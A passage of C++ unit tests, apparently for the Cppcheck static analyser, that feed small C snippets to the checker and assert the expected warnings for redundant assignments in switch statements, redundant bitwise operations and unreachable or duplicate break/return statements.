\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n 